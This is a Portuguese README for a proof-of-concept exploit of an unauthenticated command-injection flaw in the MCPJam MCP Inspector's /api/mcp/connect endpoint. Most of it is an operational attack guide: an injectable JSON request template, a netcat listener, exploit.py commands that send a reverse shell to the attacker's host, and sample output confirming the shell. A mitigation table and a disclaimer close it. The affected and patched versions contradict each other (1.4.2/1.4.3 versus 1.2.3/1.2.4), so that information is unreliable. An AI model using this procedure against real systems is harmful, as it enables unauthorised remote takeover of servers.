
PoC exploit para CVE-2026-23744 — RCE não autenticado no MCPJam Inspector via injeção de comando serverConfig não validado em /api/mcp/connect, permitindo shell reversa como dono do processo sem credenciais.
O MCPJam é um inspetor e proxy MCP (Model Context Protocol) de código aberto usado para conectar, depurar e gerenciar servidores MCP. As versões <= 1.4.2 expõem o endpoint /api/mcp/connect sem autenticação ou validação de entrada. Um atacante remoto não autenticado pode injetar comandos arbitrários do sistema operacional por meio dos campos serverConfig.command / serverConfig.args, obtendo execução remota de código com os privilégios do proprietário do processo.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-23744 |
| Pontuação CVSS | 9.8 (Crítico) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — Neutralização Incorreta de Elementos Especiais em um Comando do SO |
| Componente | MCPJam MCP Proxy Inspector |
| Afetado | MCPJam <= 1.4.2 |
| Corrigido | MCPJam >= 1.4.3 |
| Vetor de Ataque | Rede — Nenhuma Autenticação Necessária |
| Divulgação | 2026-01-15 |
O endpoint vulnerável aceita uma requisição JSON POST não autenticada:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
O MCPJam passa command e args diretamente para o spawner de processos do Node.js
(child_process.spawn ou equivalente) sem:
Um atacante que consiga alcançar a porta 3000 (padrão) pode fornecer um payload
de reverse shell em args[1], obtendo um shell como o proprietário do processo MCPJam — frequentemente
root ou uma conta de serviço com amplo acesso ao sistema.
A ausência de uma proteção de middleware de autenticação em /api/mcp/connect combinada
com o uso não controlado de valores fornecidos pelo usuário em uma chamada de process-spawn cria uma
injeção de comandos do SO não autenticada (CWE-78) clássica.
pip install requests urllib3
-t, --target Target IP or hostname
-p, --port Target port (default MCPJam: 3000)
-l, --lhost Local IP for reverse-shell callback
-r, --lport Local port for reverse-shell callback
--timeout Seconds to wait for target availability (default: 30)
--shell-timeout POST timeout before assuming shell dropped (default: 5)
-v, --verbose Print full HTTP response body
1. Inicie um listener netcat na sua máquina:
nc -lvnp 4444
2. Execute o exploit:
# Básico
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# Verboso + tempo de disponibilidade estendido (alvos lentos)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# Tempo de shell mais longo (dê mais tempo antes de assumir que o shell foi estabelecido)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · Unauthenticated RCE via serverConfig Injection ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2026-23744
Component : MCPJam MCP Proxy Inspector
Affected : <= 1.2.3 → Patched: >= 1.2.4
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — OS Command Injection
Type : Unauthenticated Remote Code Execution (Network / No Auth)
Reference : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] Probing target 10.10.11.50:3000 (max 30s) ...
10:32:02 [+] Target is alive — HTTP 200
10:32:02 [*] Exploit endpoint : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] Reverse-shell CB : 10.10.14.5:4444
10:32:02 [!] Ensure listener : nc -lvnp 4444
10:32:02 [*] Firing payload ...
10:32:07 [+] POST timed out after 5s — reverse shell likely established on 10.10.14.5:4444
10:32:07 [+] Switch to your netcat listener — incoming connection expected.
10:32:07 [+] Exploit routine complete.
O tempo limite expirado = indicador de sucesso. Quando a requisição POST expira, o processo alvo fica bloqueado no reverse shell aberto — esse é o comportamento esperado, confirmando que o RCE foi alcançado. Mude imediatamente para o seu listener.
| Prioridade | Ação |
|---|---|
| Crítico | Atualize o MCPJam para >= 1.2.4 |
| Alta | Restrinja /api/mcp/connect atrás de um middleware de autenticação |
| Alta | Aplique uma regra de firewall em nível de rede limitando o acesso à porta do MCPJam apenas a IPs confiáveis |
| Média | Adicione à lista de permissões os valores permitidos para serverConfig.command |
| Média | Execute o MCPJam dentro de um contêiner / com um usuário Linux restrito (sem shell, sem /dev/tcp) |
| Baixa | Ative o registro de auditoria em eventos de criação de processos |
Este exploit é fornecido estritamente para fins educacionais e testes de segurança autorizados. Utilize apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O uso não autorizado é ilegal e antiético.